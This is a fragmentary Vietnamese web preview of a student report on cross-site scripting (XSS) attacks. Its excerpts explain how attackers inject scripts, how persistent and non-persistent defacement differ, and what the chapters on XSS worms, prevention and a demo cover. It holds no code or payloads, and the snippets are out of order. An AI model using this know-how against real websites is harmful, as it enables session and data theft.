nhập với một Sesion ID có sẵn Cách 2: Phòng chống... thứ 3: Cookie cho phép các công ty tiếp thị hoặc quảng cáo Khi một hacker tiến hành một cuộc tấn công truyền thống dựa vào thói quen và sở thích người dùng Thay vì tấn công trên diện rộng hacker sẽ tập trung khai thác vào khu vực dễ bị tổn thương nhất trên website, sử dụng một vài thủ thuật đơn giản như dùng các thẻ javascript/css và html kẻ tấn công sẽ thực hiện mục tiêu tấn công của mình như: chiếm... khai thác XSS 1 Giới thiệu chung Hiện nay cùng với sự phát triển về công nghệ, các hacker có thể đa dạng hóa phương thức tấn công, một số kỹ thuật tấn công phổ biến có thể kể đến như: SQL Injection, Ddos, Local Attack, XSS Trong đó XSS là kỹ thuật tấn công mà hacker thường hay dùng đến, Cross Site Scripting cho phép một kẻ tấn công nhúng mã độc JavaScript, VBScript, ActiveX, HTML hoặc Flash vào một trang... trọng của XSS Defacement liên tục là cao hơn so với XSS Defacement không liên tục vì những kẻ tấn công có thể sẽ thay đổi vĩnh viễn thông tin các trang bị tấn công như sửa đổi nội dung, đánh cắp một số thông tin cá nhân của người dùng Mặc dù kẻ tấn công không có quyền truy cập trực tiếp vào hệ thống tập tin tại nơi trang Web bị lỗi XSS XSS Defacement không liên tục thường dễ dàng tìm kiếm và thực thi

Ngày đăng: 03/06/2016, 21:13

Từ khóa liên quan

Mục lục

  • MỤC LỤC

  • DANH MỤC HÌNH ẢNH

  • DANH MỤC BẢNG BIỂU

  • DANH MỤC CÁC TỪ VIẾT TẮT

  • CHƯƠNG I: ĐẶT VẤN ĐỀ

  • CHƯƠNG 2: NỘI DUNG

    • II. Các phương thức của tấn công và khai thác XSS

      • 1. Giới thiệu chung

      • 2. Các phương thức tấn công XSS

      • III. XSS Worms

        • 2. Một số XSS Worm phổ biến.

        • IV. Ngăn Chặn XSS

          • 5. Web Browser’s Security

          • Chương III: Demo

          • Chương IV: Kết luận

          • Phụ lục: Bộ công cụ hỗ trợ

Tài liệu cùng người dùng

Tài liệu liên quan